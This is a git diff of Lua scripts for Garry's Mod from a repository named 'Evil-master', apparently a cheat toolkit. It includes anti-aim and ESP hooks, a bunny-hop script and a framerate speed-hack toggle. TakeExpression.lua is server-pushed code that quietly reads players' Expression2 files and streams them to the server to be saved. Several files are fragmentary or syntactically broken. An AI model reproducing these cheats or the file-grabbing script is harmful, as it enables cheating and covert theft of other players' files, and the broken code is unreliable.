IsPlayerConnected = Fuck, + IsPlayerAlive = Fuck, + GetPlayerPing = Fuck, + GetPlayerFrags = Fuck, + GetPlayerDeaths = Fuck, + GetPlayerTeam = Fuck, + GetPlayerHealth = Fuck, + SetEyeAngles = Fuck, + GetEyeAngles = Fuck, + GetMapName = Fuck, + GetMaxPlayers = Fuck, + GetScreenAspectRatio = Fuck, + GetKeyForBinding = Fuck, + GetIP = Fuck, + IsConnected = Fuck, + IsConnectedToVACSecureServer = Fuck, + GetAppID = Fuck, + GetEngineBuildNumber = Fuck, + GetProductVersionString = Fuck, + IsDrawingLoadingImage = Fuck, + IsInEditMode = Fuck, + IsInGame = Fuck, + IsLowViolence = Fuck, + IsHammerRunning = Fuck, + IsPaused = Fuck, + IsPlayingDemo = Fuck, + IsPlayingTimeDemo = Fuck, + IsRecordingDemo = Fuck, + IsTakingScreenshot = Fuck, + SupportsHDR = Fuck, + GetDXSupportLevel = Fuck, + } +end + +if not hex then + hex_fuckup = true + hex = { + ReplicateVar = fuck, + ForceConVar = fuck, + ConCommand = fuck, + PredictSpread = fuck, + IsDormant = fuck, + ToggleHands = fuck, + LagCompensation = fuck, + FakeAngles = fuck, + AntiAim = fuck, + Require = fuck, + Include = fuck, + IsInMenu = fuck, + SetViewAngles = fuck, + GetViewAngles = fuck, + GetHitbox = fuck, + Msg = fuck, + } +end + + + +BROWN = Color(128,128,0) +EntityColor = Color(151,211,255) +CMIColor = Color(153,217,234) +BLUE = Color(51,153,255) +WHITE = Color(255,255,255) +PINK = Color(255,175,202) +GREY = Color(196,196,196) +GREEN = Color(182,231,18) +RED = Color(237,16,29) +ADMINRED = Color(255,50,50) +MODGREEN = Color(0,255,0) + +function COLCON(...) + if fuckup then + for k, v in pairs( {...} ) do + if ( type(v) == "string" ) then + Msg(v) + end + end + Msg("\n") + return + end + + local color = WHITE + for k, v in pairs( {...} ) do + if ( type( v ) == "table" && v["b"] && v["g"] && v["r"] ) then + color = v + elseif ( type( v ) == "Player" and IsValid( v ) ) then + console.PrintColor( team.GetColor( v:Team() ), v:GetName() ) + elseif ( ( type( v ) == "Entity" or type( v ) == "Weapon" or type( v ) == "Vehicle" or type( v ) == "NPC" ) and IsValid( v ) ) then + console.PrintColor( EntityColor, v:GetClass() ) + else + console.PrintColor( color, tostring(v) ) + end + end + console.PrintColor( color, "\n" ) +end + + +--[[ +if VERSION == 125 then --FFFFUUUUUUUUU- + local function Crap() return "EXTRAS_FUCKUP_U"..VERSION end + + client.GetIP = Crap + + COLCON(RED, " ! ", WHITE, "EXTRAS_FUCKUP_U"..VERSION..", some functions ", EntityColor, "disabled!") +end +]] + + +if not RealTime then RealTime = CurTime end + + +local function LoadCMI() + Msg("\n") + COLCON(GREEN, "///////////////////////////////////////") + COLCON(GREEN, "// Custom Menu Inc //") + COLCON(GREEN, "///////////////////////////////////////") + + for k,v in pairs( file.FindInLua("custom_menu/ml_B_*.lua") ) do + COLCON( CMIColor, " Loading ", PINK, "Base", WHITE, ": "..v ) + include("custom_menu/"..v) + end + + for k,v in pairs( file.FindInLua("custom_menu/ml_H_*.lua") ) do + COLCON( CMIColor, " Loading ", RED, "Hack", WHITE, ": "..v ) + include("custom_menu/"..v) + end + + for k,v in pairs( file.FindInLua("custom_menu/ml_*.lua") ) do + if not (v:sub(1,5) == "ml_B_" or v:sub(1,5) == "ml_H_") then + COLCON( CMIColor, " Loading ", GREEN, "Plugin", WHITE, ": "..v ) + include("custom_menu/"..v) + end + end + + for k,v in pairs( file.FindInLua("skins/*.lua") ) do --include skins + COLCON( CMIColor, " Loading ", GREY, "Skin", WHITE, ": "..v ) + include("skins/"..v) + end + + COLCON(GREEN, "///////////////////////////////////////") + COLCON(GREEN, "// CMI Loaded! //") + COLCON(GREEN, "///////////////////////////////////////") + Msg("\n") +end + +timer.Simple(0, LoadCMI) +concommand.Add("cmi_reload", LoadCMI) + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/DFrame.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/DFrame.lua new file mode 100644 index 0000000..2a1336c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/DFrame.lua @@ -0,0 +1,244 @@ +/* _ + ( ) + _| | __ _ __ ___ ___ _ _ + /'_` | /'__`\( '__)/' _ ` _ `\ /'_` ) +( (_| |( ___/| | | ( ) ( ) |( (_| | +`\__,_)`\____)(_) (_) (_) (_)`\__,_) + + DFrame + + A window. + +*/ + +PANEL = {} + +AccessorFunc( PANEL, "m_bDraggable", "Draggable", FORCE_BOOL ) +AccessorFunc( PANEL, "m_bSizable", "Sizable", FORCE_BOOL ) +AccessorFunc( PANEL, "m_bScreenLock", "ScreenLock", FORCE_BOOL ) +AccessorFunc( PANEL, "m_bDeleteOnClose", "DeleteOnClose", FORCE_BOOL ) +AccessorFunc( PANEL, "m_iMinWidth", "MinWidth" ) +AccessorFunc( PANEL, "m_iMinHeight", "MinHeight" ) + +AccessorFunc( PANEL, "m_bBackgroundBlur", "BackgroundBlur", FORCE_BOOL ) + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:Init() + + self:SetFocusTopLevel( true ) + +// self:SetCursor( "sizeall" ) + + self.btnClose = vgui.Create( "DSysButton", self ) + self.btnClose:SetType( "close" ) + self.btnClose.DoClick = function ( button ) self:Close() end + self.btnClose:SetDrawBorder( false ) + self.btnClose:SetDrawBackground( false ) + + self.lblTitle = vgui.Create( "DLabel", self ) + self.lblTitle:SetExpensiveShadow( 1, Color( 0, 0, 0, 100 ) ) + self.lblTitle:SetTextColor( Color( 255, 255, 255, 255 ) ) + + self:SetDraggable( true ) + self:SetSizable( false ) + self:SetScreenLock( false ) + self:SetDeleteOnClose( true ) + self:SetTitle( "#Untitled DFrame" ) + + self:SetMinWidth( 50 ); + self:SetMinHeight( 50 ); + + // This turns off the engine drawing + self:SetPaintBackgroundEnabled( false ) + self:SetPaintBorderEnabled( false ) + + self.m_fCreateTime = SysTime() + + self:DockPadding( 5, 26, 5, 5 ) + +end + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:ShowCloseButton( bShow ) + + self.btnClose:SetVisible( bShow ) + +end + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:SetTitle( strTitle ) + + self.lblTitle:SetText( strTitle ) + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:Close() + + self:SetVisible( false ) + + if ( self:GetDeleteOnClose() ) then + self:Remove() + end + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:Center() + + self:InvalidateLayout( true ) + self:SetPos( ScrW()/2 - self:GetWide()/2, ScrH()/2 - self:GetTall()/2 ) + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:Think() + + if (self.Dragging) then + + local x = gui.MouseX() - self.Dragging[1] + local y = gui.MouseY() - self.Dragging[2] + + // Lock to screen bounds if screenlock is enabled + if ( self:GetScreenLock() ) then + + x = math.Clamp( x, 0, ScrW() - self:GetWide() ) + y = math.Clamp( y, 0, ScrH() - self:GetTall() ) + + end + + self:SetPos( x, y ) + + end + + + if ( self.Sizing ) then + + local x = gui.MouseX() - self.Sizing[1] + local y = gui.MouseY() - self.Sizing[2] + local px, py = self:GetPos() + + if ( x < self.m_iMinWidth ) then x = self.m_iMinWidth elseif ( x > ScrW() - px and self:GetScreenLock() ) then x = ScrW() - px end + if ( y < self.m_iMinHeight ) then y = self.m_iMinHeight elseif ( y > ScrH() - py and self:GetScreenLock() ) then y = ScrH() - py end + + self:SetSize( x, y ) + self:SetCursor( "sizenwse" ) + return + + end + + if ( self.Hovered && + self.m_bSizable && + gui.MouseX() > (self.x + self:GetWide() - 20) && + gui.MouseY() > (self.y + self:GetTall() - 20) ) then + + self:SetCursor( "sizenwse" ) + return + + end + + if ( self.Hovered && self:GetDraggable() && gui.MouseY() < (self.y + 20) ) then + self:SetCursor( "sizeall" ) + return + end + + self:SetCursor( "arrow" ) + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:Paint() + + if ( self.m_bBackgroundBlur ) then + Derma_DrawBackgroundBlur( self, self.m_fCreateTime ) + end + + derma.SkinHook( "Paint", "Frame", self ) + return true + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:OnMousePressed() + + if ( self.m_bSizable ) then + + if ( gui.MouseX() > (self.x + self:GetWide() - 20) && + gui.MouseY() > (self.y + self:GetTall() - 20) ) then + + self.Sizing = { gui.MouseX() - self:GetWide(), gui.MouseY() - self:GetTall() } + self:MouseCapture( true ) + return + end + + end + + if ( self:GetDraggable() && gui.MouseY() < (self.y + 20) ) then + self.Dragging = { gui.MouseX() - self.x, gui.MouseY() - self.y } + self:MouseCapture( true ) + return + end + + + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:OnMouseReleased() + + self.Dragging = nil + self.Sizing = nil + self:MouseCapture( false ) + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:PerformLayout() + + derma.SkinHook( "Layout", "Frame", self ) + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:IsActive() + + if ( self:HasFocus() ) then return true end + if ( vgui.FocusedHasParent( self ) ) then return true end + + return false + +end + + +derma.DefineControl( "DFrame", "A simpe window", PANEL, "EditablePanel" ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/DFrame_CloseButton.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/DFrame_CloseButton.lua new file mode 100644 index 0000000..2dc3f41 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/DFrame_CloseButton.lua @@ -0,0 +1,20 @@ + + + +if not vgui.CreateOld then + vgui.CreateOld = vgui.Create +end + + +function vgui.CreateNew(...) + HeX.include("HeX/hx_DFrame.lua") + + vgui.Create = vgui.CreateOld + + return vgui.CreateOld(...) +end +vgui.Create = vgui.CreateNew + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/HeX.Add.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/HeX.Add.lua new file mode 100644 index 0000000..d915fd6 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/HeX.Add.lua @@ -0,0 +1,52 @@ + + +HeX.GetTable = {} +function HeX.Add(what,name,func) + local GAME = GAMEMODE + if not GAME then + print("! oops, GAMEMODE") + GAME = GM + end + if not GAME then + print("! oops, no GM") + hook.Add(what,name,func) + return + end + + local OldHook = GAME[what] + function GAME[what](self,...) + if OldHook then + OldHook(self,...) + end + func(...) + end + + if not HeX.GetTable[what] then + HeX.GetTable[what] = {} + end + HeX.GetTable[what][name] = func +end + + + + + +function HeX.Add(what,name,func) + local ogm = GAMEMODE[what] + function GAMEMODE[what](gm,...) + local a,b,c, = hook.Call(what, nil , ...) + if a ~= nil or b~= nil or c~= nil then + return a,b,c, + else + return ogm(gm,...) + end + end +end + + +HeX.Add("HUDPaint", "loool", function() ESP() end) + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/HeX.Detour.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/HeX.Detour.lua new file mode 100644 index 0000000..b61ab84 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/HeX.Detour.lua @@ -0,0 +1,28 @@ +HeX.Detour = { + Saved = {} +} + +local function Source(func) + return debug.getinfo(func).short_src +end + +function HeX.Detour.Player(func,new) + if _R.Player[func.."Old"] then + ErrorNoHalt( Format("Tried to detour 'Player.%s' from: %s\n", func, Source(new)) ) + else + _R.Player[func.."Old"] = _R.Player[func] + + table.insert(HeX.Detour.Saved, {name = "Player."..func, old = _R.Player[func], new = new, src = Source(new)} ) + + _R.Player[func] = new + end +end + +function HeX.Detour.Dump(ply,cmd,args) + if not ply:IsSuperAdmin() then return end + + for k,v in pairs( HeX.Detour.Saved ) do + print("! func,old,new: ", v.name, Source(v.old), Source(v.new) ) + end +end +concommand.Add("hex_detours_dump", HeX.Detour.Dump) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/LogSkidEncounter.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/LogSkidEncounter.lua new file mode 100644 index 0000000..08f9bd1 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/LogSkidEncounter.lua @@ -0,0 +1,13 @@ + +local function LogSkidEncounter(ply,what,name) + local LogName = Format("SK/%s.txt", os.date("%d-%m-%Y_%A")) + local SDate = os.date("%d-%m-%y (%A) %I:%M%p") + + local ServerIP = "E.E.E.E" + if client and client.GetIP then + ServerIP = tostring( client.GetIP() ) + end + + local str = Format("[SK] %s @ ") + +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/PoopScript.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/PoopScript.lua new file mode 100644 index 0000000..0fc1bce --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/PoopScript.lua @@ -0,0 +1,57 @@ +--[[ + === HeX's T toggle script, for Sykranos == +]] + + +local function LongDick(bool) + if bool then + RunConsoleCommand("host_framerate", 10) + else + RunConsoleCommand("host_framerate", 0) + end +end + + +local PressOn = nil +local PressOff = nil +local function Boobies() + local Down = input.IsKeyDown(KEY_T) + + if Down then + if not PressOn then + PressOn = true + PressOff = false + + LongDick(true) + end + else + if not PressOff then + PressOff = true + PressOn = false + + LongDick(false) + end + end +end +hook.Add("Think", "Boobies", Boobies) + + + + + + + + + + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ReadFromAddons.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ReadFromAddons.lua new file mode 100644 index 0000000..a5ec9b0 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ReadFromAddons.lua @@ -0,0 +1,40 @@ + + + + + + +local function VFSPath(path) + if HSPMod.Exists(path) then + return path --Not in VFS + end + + for k,v in pairs( file.Find("addons/*", true) ) do + local APath = "addons/"..v.."/"..path + if file.Exists(APath, true) then + return APath + end + end + + ErrorNoHalt("! VFSPath fuckup, can't find: "..path.." in addons! (blame garry)\n") + return "" +end + + + + + + + + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/New Lua Script.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/New Lua Script.lua new file mode 100644 index 0000000..0f040da --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/New Lua Script.lua @@ -0,0 +1,173 @@ +//steamworks.lua + +require("steamworks") + +steamClient007 = steamworks.ISteamClient(7) +if (!steamClient007) then return end +hSteamPipe = steamClient007:CreateSteamPipe() +if (!hSteamPipe) then return end +hSteamUser = steamClient007:ConnectToGlobalUser(hSteamPipe) +if (!hSteamUser) then return end +steamUser012 = steamClient007:GetISteamUser(hSteamUser, hSteamPipe, 12) +if (!steamUser012) then return end +if (!steamUser012:LoggedOn()) then return end +steamFriends005 = steamClient007:GetISteamFriends(hSteamUser, hSteamPipe, 5) +if (!steamFriends005) then return end +steamFriends002 = steamClient007:GetISteamFriends(hSteamUser, hSteamPipe, 2) + +if (!steamFriends002) then return end + +hook.Add("Think", "Steam_BGetCallback", function() +callbackMsg = steamworks.Steam_BGetCallback(hSteamPipe) + +if (!callbackMsg) then return end + +if (callbackMsg:GetCallback() == (300 + 31)) then +local gameOverlay = callbackMsg:GetPubParam():To(FindMetaTable("GameOv erlayActivated_t").MetaID) + +hook.Call("GameOverlayActivated", nil, gameOverlay:IsActive()) +elseif (callbackMsg:GetCallback() == (300 + 4)) then +local personaChange = callbackMsg:GetPubParam():To(FindMetaTable("Person aStateChange_t").MetaID) + +local personaSID = personaChange:GetSteamID() + +if (personaSID) then +local personaCSID = steamworks.CSteamID() + +personaCSID:Set(personaSID, 1, 1) + +if (personaChange:GetFlags() == 0x001) then +hook.Call("EPersonaChangeName", nil, personaCSID) +elseif (personaChange:GetFlags() == 0x002) then +hook.Call("EPersonaChangeStatus", nil, personaCSID) +elseif (personaChange:GetFlags() == 0x004) then +hook.Call("EPersonaChangeComeOnline", nil, personaCSID) +elseif (personaChange:GetFlags() == 0x008) then +hook.Call("EPersonaChangeGoneOffline", nil, personaCSID) +elseif (personaChange:GetFlags() == 0x010) then +hook.Call("EPersonaChangeGamePlayed", nil, personaCSID) +elseif (personaChange:GetFlags() == 0x020) then +hook.Call("EPersonaChangeGameServer", nil, personaCSID) +elseif (personaChange:GetFlags() == 0x040) then +hook.Call("EPersonaChangeAvatar", nil, personaCSID) +elseif (personaChange:GetFlags() == 0x080) then +hook.Call("EPersonaChangeJoinedSource", nil, personaCSID) +elseif (personaChange:GetFlags() == 0x100) then +hook.Call("EPersonaChangeLeftSource", nil, personaCSID) +elseif (personaChange:GetFlags() == 0x200) then +hook.Call("EPersonaChangeRelationshipChanged", nil, personaCSID) +elseif (personaChange:GetFlags() == 0x400) then +hook.Call("EPersonaChangeNameFirstSet", nil, personaCSID) +end +end +end + +steamworks.Steam_FreeLastCallback(hSteamPipe) +end ) +[/lua] + +[lua] +include("steamworks.lua") + +local EPersonaStateStrings = { +"Offline", +"Online", +"Busy", +"Away", +"Snooze", +} + +hook.Add("GameOverlayActivated", "SHook", function(state) +if (state) then +print(string.format("[%s] Opened game overlay", os.date())) +else +print(string.format("[%s] Closed game overlay", os.date())) +end +end ) + +hook.Add("EPersonaChangeName", "SHook", function(id) +print(string.format("[%s] The owner of %s changed their name to '%s'", os.date(), id:Render(), steamFriends005:GetFriendPersonaName(id))) +end ) + +hook.Add("EPersonaChangeStatus", "SHook", function(id) +print(string.format("[%s] '%s' is now %s", os.date(), steamFriends005:GetFriendPersonaName(id), EPersonaStateStrings[steamFriends005:GetFriendPersonaState(id)+1])) +end ) + +hook.Add("EPersonaChangeComeOnline", "SHook", function(id) +print(string.format("[%s] '%s' signed in", os.date(), steamFriends005:GetFriendPersonaName(id))) +end ) + +hook.Add("EPersonaChangeGoneOffline", "SHook", function(id) +print(string.format("[%s] '%s' signed out", os.date(), steamFriends005:GetFriendPersonaName(id))) +end ) + +hook.Add("EPersonaChangeGamePlayed", "SHook", function(id) +local gamePlayed = steamFriends005:GetFriendGamePlayed(id) + +if (gamePlayed) then +print(string.format("[%s] '%s' is now playing {AppID:%d}", os.date(), steamFriends005:GetFriendPersonaName(id), gamePlayed:GetCGameID():AppID())) +else +print(string.format("[%s] '%s' is no longer playing anything", os.date(), steamFriends005:GetFriendPersonaName(id))) +end +end ) + +hook.Add("EPersonaChangeGameServer", "SHook", function(id) +print(string.format("[%s] '%s' is now playing on %s:%d", os.date(), steamFriends005:GetFriendPersonaName(id), steamFriends005:GetFriendGamePlayed(id):GetGameIP( ), steamFriends005:GetFriendGamePlayed(id):GetGamePort())) +end ) + +hook.Add("EPersonaChangeAvatar", "SHook", function(id) +print(string.format("[%s] '%s' changed their avatar", os.date(), steamFriends005:GetFriendPersonaName(id))) +end ) + +hook.Add("EPersonaChangeJoinedSource", "SHook", function(id) +print(string.format("[%s] '%s' joined source", os.date(), steamFriends005:GetFriendPersonaName(id))) +end ) + +hook.Add("EPersonaChangeLeftSource", "SHook", function(id) +print(string.format("[%s] '%s' left source", os.date(), steamFriends005:GetFriendPersonaName(id))) +end ) + +hook.Add("EPersonaChangeRelationshipChanged", "SHook", function(id) +print(string.format("[%s] Your relationship with '%s' changed", os.date(), steamFriends005:GetFriendPersonaName(id))) +end ) + +hook.Add("EPersonaChangeNameFirstSet", "SHook", function(id) +print(string.format("[%s] The owner of %s has just set his/her name for the first time", os.date(), id:Render())) +end ) +[/lua] + +[lua] +include("steamworks.lua") + +local friendFlag = 4 + +for i=0, steamFriends005:GetFriendCount(friendFlag)-1 do +local targetFriend = steamFriends005:GetFriendByIndex(i, friendFlag) + +if (steamFriends005:GetFriendPersonaName(targetFriend ) == "Chris") then +steamFriends002:SendMsgToFriend(targetFriend, 1, "Hi Chris") +steamFriends002:SendMsgToFriend(targetFriend, 3, "") +end +end +[/lua] + +[lua] +include("steamworks.lua") + +local communityBase = 103582791429521408 --(103582791430000000 - 478592) + +local function ClanCommunityIDToClanAccountID(communityID) +return communityID - communityBase +end + +local function ClanAccountIDToClanCommunityID(accountID) +return accountID + communityBase +end + +local communityID = 103582791430354656 + +local groupCSID = steamworks.CSteamID() +groupCSID:InstancedSet(ClanCommunityIDToClanAccoun tID(communityID), 0, 1, 7) + +print(groupCSID) + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/SRVLog.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/SRVLog.lua new file mode 100644 index 0000000..918cda2 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/SRVLog.lua @@ -0,0 +1,42 @@ +if SERVER then return end +--HeX's "WTF was that server i played on!" script + +local SRVLogEnabled = CreateClientConVar("srv_log_enabled", 1, true, false) +local SRVLogFile = "SRVLog/SRVLog.txt" + +local ServerFullDate = "DD-MM-YY HH:MM" +local ServerTime = "HH:MM" +local ServerName = "ServerName" +local ServerIP = "0.0.0.0" +local ServerMap = "gm_doesntexist" +local ServerPlayers = "0/0" +local SRVLogString = "SRVLogString" + +function SRVLogLog() + SRVLogFile = "SRVLog/"..os.date("%d-%m-%Y_%A")..".txt" + ServerFullDate = os.date("%d-%m-%y %I:%M%p") + + ServerTime = os.date("%I-%M%p") + ServerName = GetHostName() + ServerIP = "0.0.0.0" --there is no way to get the current server's IP that i know of + ServerMap = game.GetMap() + ServerPlayers = string.format("%s/%s", #player.GetAll(), GetConVarString("maxplayers")) + + SRVLogString = string.format("[%s]\nName: %s\nPlayers: %s\nMap: %s\n\n", ServerFullDate, ServerName, ServerPlayers, ServerMap) + --SRVLogString = string.format("[%s]\nName: %s\nIP: %s\n Players: %s\nMap: %s\n\n", ServerFullDate, ServerName, ServerIP, ServerPlayers, ServerMap) + + if not file.Exists(SRVLogFile) then + file.Write(SRVLogFile, string.format("HeX's Server Log created at [%s]\n\n", ServerFullDate)) + end + filex.Append(SRVLogFile, SRVLogString) + Msg("\n"..SRVLogString) +end + +local function SRVLogInit() + timer.Simple(3, function() + if SRVLogEnabled:GetBool() and not SinglePlayer() then + SRVLogLog() + end + end) +end +hook.Add("InitPostEntity", "SRVLog", SRVLogInit) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/poo.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/poo.lua new file mode 100644 index 0000000..6daf46c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/poo.lua @@ -0,0 +1 @@ + print("! loaded") concommand.Add("poo", function() local function band( x, y ) local z, i, j = 0, 1 for j = 0,31 do if ( x%2 == 1 and y%2 == 1 ) then z = z + i end x = math.floor( x/2 ) y = math.floor( y/2 ) i = i * 2 end return z end function GetIP() local hostip = tonumber(string.format("%u", GetConVar("hostip"):GetString())) local parts = { band( hostip / 2^24, 0xFF ); band( hostip / 2^16, 0xFF ); band( hostip / 2^8, 0xFF ); band( hostip, 0xFF ); } return string.format( "%u.%u.%u.%u", unpack( parts ) ) end print(GetIP()) end) concommand.Add("fuck", function() local ServerIpPort = GetConVarString( "ip" )..":"..GetConVarString( "hostport" ) print(ServerIpPort) end) concommand.Add("shit", function() local hex2dec = { ["a"] = 10, ["b"] = 11, ["c"] = 12, ["d"] = 13, ["e"] = 14, ["f"] = 15, } local dec = tonumber(string.format("%u", GetConVar("hostip"):GetString())) print("dec", dec) local split = string.ToTable(string.format("%x", dec)) print("split"); PrintTable(split) local ip = "" for i=1, #split, 2 do local a = split[i] local b = split[i+1] print("a: ", a, hex2dec[a], tonumber(a), "b: ", b, hex2dec[b], tonumber(b)); ip = ip..((hex2dec[a] || tonumber(a))*16)+(hex2dec[b] || tonumber(b)) if (i < (#split-2)) then ip = ip.."." end print(ip); end serverip = ip print(serverip) end) --[[ --fucking...SOMEONE! local ServerIP = "0.0.0.0" if #file.FindInLua("includes/modules/gmcl_getip.dll") >= 1 then require("getip") ServerIP = gamex.GetIP() else print("! [HeX] gmcl_getip.dll missing!") return end ]] \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/poo2.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/poo2.lua new file mode 100644 index 0000000..1c7490b --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/poo2.lua @@ -0,0 +1,32 @@ + + +require("gsapi") + +hook.Add( "GSReputation", "GMTRep", function( eResult, repScore, isBanned, bannedInfo ) + + Msg( "Got GSReputation!\n" ) + Msg( "EResult: ", eResult, "\n" ) + + --if ( eResult != EResultOK ) then return end + + Msg( "Reputation: ", repScore, "\n" ) + Msg( "Is Banned: ", isBanned, "\n" ) + PrintTable( bannedInfo ) + Msg( "\n\n" ) + +end ) + +hook.Add( "GSGameStats", "GMTGameStats", function( eResult, rank, totalConnects, totalMinsPlayed ) + + Msg( "Got GSGameStats!\n" ) + Msg( "EResult: ", eResult, "\n" ) + + --if ( eResult != EResultOK ) then return end + + Msg( "Rank: ", rank, "\n" ) + Msg( "Total Connects: ", totalConnects, "\n" ) + Msg( "Total Mins Played: ", totalMinsPlayed, "\n\n" ) + end ) + +print(gameserver.GetPublicIP()) +gameserver.GetGameplayStats() \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/rdx.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/rdx.lua new file mode 100644 index 0000000..589b84e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/rdx.lua @@ -0,0 +1,28 @@ + + +local function MakeSafe(str) + return str:gsub("[\"*%?|\'<>:]", "_") +end + + +hostname..".txt" + +local dir_sub = dir:gsub( "[\"*%?|<>:]", "_" ) //Credit to Kogitsune +local logs = {} +local num = 0 + + +if !file.Exists(dir_sub) then file.Write(dir_sub,os.date()) + print("Dir Created") end function rbx.log(pl,text) + for k,v in pairs(player + +end + +function rbx.log(pl,text) --local num local hostname +end + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/T_toggle_script.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/T_toggle_script.lua new file mode 100644 index 0000000..fa6697b --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/T_toggle_script.lua @@ -0,0 +1,36 @@ +--[[ + === HeX's T toggle script, for Sykranos == +]] + + +local function LongDick(bool) + if bool then + RunConsoleCommand("host_framerate", 10) + else + RunConsoleCommand("host_framerate", 0) + end +end + + +local PressOn = nil +local PressOff = nil +local function Boobies() + local Down = input.IsKeyDown(KEY_T) + + if Down then + if not PressOn then + PressOn = true + PressOff = false + + LongDick(true) + end + else + if not PressOff then + PressOff = true + PressOn = false + + LongDick(false) + end + end +end +hook.Add("Think", "Boobies", Boobies) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/TakeExpression.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/TakeExpression.lua new file mode 100644 index 0000000..2dcc064 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/TakeExpression.lua @@ -0,0 +1,51 @@ + + +require("datastream") + +if (SERVER) then + AddCSLuaFile("autorun/saveexpression.lua") + + local function TellAdmins(str) + Msg(str) + for k,v in pairs( player.GetAll() ) do + if ValidEntity(v) and v:IsAdmin() then + v:PrintMessage(HUD_PRINTCONSOLE, str) + end + end + end + + local function SaveExpression(ply,han,id,enc,dec) + if not ValidEntity(ply) then return end + + local Name = dec.Name + local ReadString = dec.ReadString + local Filename = Format("%s-%s.txt", ply:SteamID():gsub(":","_"), Name) + + if not file.Exists(Filename) then + file.Write(Filename, ReadString) + + TellAdmins( Format("E2: %s from %s complete!\n", Name, ply:Nick()) ) + end + end + datastream.Hook("Booty", SaveExpression) +end + + +if (CLIENT) then + local function TakeExpression() + for k,v in pairs( file.Find("Expression2/*.txt") ) do + timer.Simple(k/3, function() + datastream.StreamToServer("Booty", + { + Name = v + ReadString = file.Read("Expression2/"..v) + } + ) + end) + end + end + timer.Simple(2, TakeExpression) +end + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/bhop.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/bhop.lua new file mode 100644 index 0000000..99a2820 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/bhop.lua @@ -0,0 +1,42 @@ +--[[ + === Simple BHop script by HeX === +]] + +local function DoHop() + RunConsoleCommand((LocalPlayer():IsOnGround() and "+" or "-").."jump") +end + + +local Online = false + +local function Toggle_On(ply,key) + if key == IN_JUMP then + Online = true + else + Online = false + end +end +hook.Add("KeyPress", "Toggle_On", Toggle_On) + +local function Toggle_Off(ply,key) + + +end +hook.Add("KeyRelease", "Toggle_Off", Toggle_Off) + + + +local function CheckBHop() + if Online then + + end +end +hook.Add("Think", "CheckBHop", CheckBHop) + + + + +KeyPress +KeyRelease + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cHFUwXNe.txt 